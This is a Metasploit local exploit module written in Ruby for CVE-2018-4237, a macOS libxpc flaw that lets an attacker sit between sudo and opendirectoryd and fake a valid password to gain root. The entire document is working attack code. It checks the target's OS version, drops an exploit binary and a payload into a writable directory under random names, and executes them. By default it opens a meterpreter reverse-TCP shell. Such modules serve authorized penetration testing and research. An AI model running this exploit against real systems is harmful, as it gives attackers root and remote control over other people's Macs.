Mac OS X libxpc MITM Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X libxpc MITM Privilege Escalation',
      'Description'   => %q{
        This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
        The task_set_special_port API allows callers to overwrite their bootstrap port,
        which is used to communicate with launchd. This port is inherited across forks:
        child processes will use the same bootstrap port as the parent.
        By overwriting the bootstrap port and forking a child processes, we can now gain
        a MitM position between our child and launchd.

        To gain root we target the sudo binary and intercept its communication with
        opendirectoryd, which is used by sudo to verify credentials. We modify the
        replies from opendirectoryd to make it look like our password was valid.
      },
      'License'       => MSF_LICENSE,
      'Author'         => [ 'saelo' ],
      'References'     => [
          ['CVE', '2018-4237'],
          ['URL', 'https://github.com/saelo/pwn2own2018'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => 'osx',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Mac OS X x64 (Native Payload)', { } ]
        ],
      'DisclosureDate' => 'Mar 15 2018'))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end

  def check
    version = Gem::Version.new(get_system_version)
    if version >= Gem::Version.new('10.13.4')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
    exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)
    payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(payload_file, generate_payload_exe)
    exploit_cmd = "#{exploit_file} #{payload_file}"
    print_status("Executing cmd '#{exploit_cmd}'")
    cmd_exec(exploit_cmd)
  end
end